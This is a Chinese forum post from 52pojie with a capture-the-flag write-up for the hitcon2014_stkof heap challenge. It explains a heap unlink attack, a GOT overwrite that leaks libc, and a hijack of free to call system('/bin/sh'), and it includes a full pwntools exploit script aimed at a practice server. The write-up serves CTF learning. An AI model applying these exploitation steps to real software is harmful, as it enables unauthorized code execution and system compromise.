吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1575|回复: 2
收起左侧

[CTF] [unlink]hitcon2014_stkof

[复制链接]
bnuzgn 发表于 2023-10-1 13:55
本帖最后由 bnuzgn 于 2023-10-1 13:57 编辑

题目来源
buuctf——hitcon2014_stkof
参考链接
https://blog.csdn.net/mcmuyanga/article/details/112602827
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
题目信息

libc_2.23、64位   
1截图.png

没有setbuf函数,因此程序不会自动申请标准输入与标准输出的堆空间(大小为0x410),且这些堆空间是用的时候才会被申请的,因此本题中申请的第一个堆会被两个0x410的堆夹在中间。
    2截图.png

add函数中初始化了堆大小
    3截图.png

edit函数由用户自定义大小,可以溢出   
4截图.png

注意,free函数会将结构体的地址清零,从而无法构造unlink链。
    5截图.png

show函数无法控制输出的内容,本题中不会使用。
    6截图.png
解题思路

unlink的常见利用方式仅限于2.27之前,也只有本题利用了unlink,算是小众方法。【特殊性】由于show函数的缘故,无法通过常规方法通过puts函数输出puts_got最后得到libc的地址,所以需要修改结构体的地址为free_got再用edit函数将内容指向puts_plt,才可以得到puts_got。
【类比】这种思路同fastbin attack相同,都是直接修改结构体的内容,但是本题找不到=、=。
【解法】
  • 申请三个chunk,包含头部大小分别为0x20,0x30,0x90,chunk 1用来setbuf献祭,0x30删去0x10的head剩下0x20构造已经被释放的fake chunk的结构,0x90用于触发unlink。
  • 编辑chunk 2,构造fake chunk并修改chunk 2的head:
    • 在0x20的内容段中填写 p64(0) + p64(0x21) + p64(bss + 0x10 -0x18) + p64(bss + 0x10 -0x10),前两个是head,后两个是fd和bk(原理参考链接1)
    • 溢出修改chunk 3的head,将previous size改成0x20,size段中0x91改成0x90
  • 释放chunk3,此时chunk2的结构体的内容将会被修改为这个结构体的地址-0x18
  • 编辑chunk2可以修改结构体的内容了
  • 修改free_got指向puts_plt

关键步骤
  • 构造fake chunk,填写fd与bk
  • 修改free_got指向puts_plt,而不是将free_plt指向puts_got。后者虽然看起来逻辑通顺,前者多了两个环节,但是如此一来_dl_runtime_resolve中的表项就对不上了,会报错(原理参考链接2)
wp
[Python] 纯文本查看 复制代码
#coding: utf-8
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./hitcon2014_stkof"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",28964)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

def add(size):
    sl("1")
    sl(str(size))

def edit(index,content):
    sl("2")
    sl(str(index))
    sl(str(len(content)))
    sl(content)

def free(index):
    sl("3")
    sl(str(index))

def show(index):
    sl("4")
    sl(str(index))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']

bss = 0x602140
target = bss+0x10
add(0x10) #1
add(0x20) #2
add(0x80) #3
add(0x20) #4

payload = p64(0) + p64(0x21) + p64(target-0x18) + p64(target-0x10) + p64(0x20) + p64(0x90)
edit(2,payload)
free(3)
# db()
payload = p64(0) + p64(free_got) + p64(puts_got)
edit(2,payload)
edit(0,p64(puts_plt))
free(1)

puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym["system"]
lg('libc_base')
# db()

edit(4,"/bin/sh")
edit(0,p64(system_addr))
free(4)
ti()

免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +3 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jzghcj + 1 + 1 我很赞同!
hrh123 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

jzghcj 发表于 2023-10-2 15:53
看着很厉害的样子,可惜我不懂,给你个大赞
yaphoo 发表于 2023-10-4 08:11
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 15:19

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表